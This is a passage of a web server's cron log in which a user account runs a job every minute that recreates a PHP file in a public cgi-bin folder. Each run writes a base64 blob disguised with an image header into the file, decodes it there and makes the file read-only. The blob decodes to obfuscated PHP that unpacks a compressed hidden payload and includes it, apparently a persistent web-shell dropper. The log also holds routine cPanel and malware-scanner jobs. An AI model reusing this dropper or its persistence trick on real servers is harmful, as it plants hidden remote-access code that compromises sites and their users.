"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:20:01 server CROND[21054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 23:20:01 server CROND[21053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:21:01 server CROND[21182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:22:01 server CROND[21251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:23:01 server CROND[21316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:24:01 server CROND[21382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:25:01 server CROND[21544]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:25:01 server CROND[21546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:25:01 server CROND[21545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:26:01 server CROND[21674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:27:01 server CROND[21739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:27:01 server CROND[21740]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 23:28:01 server CROND[21804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:29:01 server CROND[21888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:30:01 server CROND[22050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:30:01 server CROND[22052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:30:01 server CROND[22053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:30:01 server CROND[22054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:31:01 server CROND[22170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:32:01 server CROND[22233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:33:01 server CROND[22291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5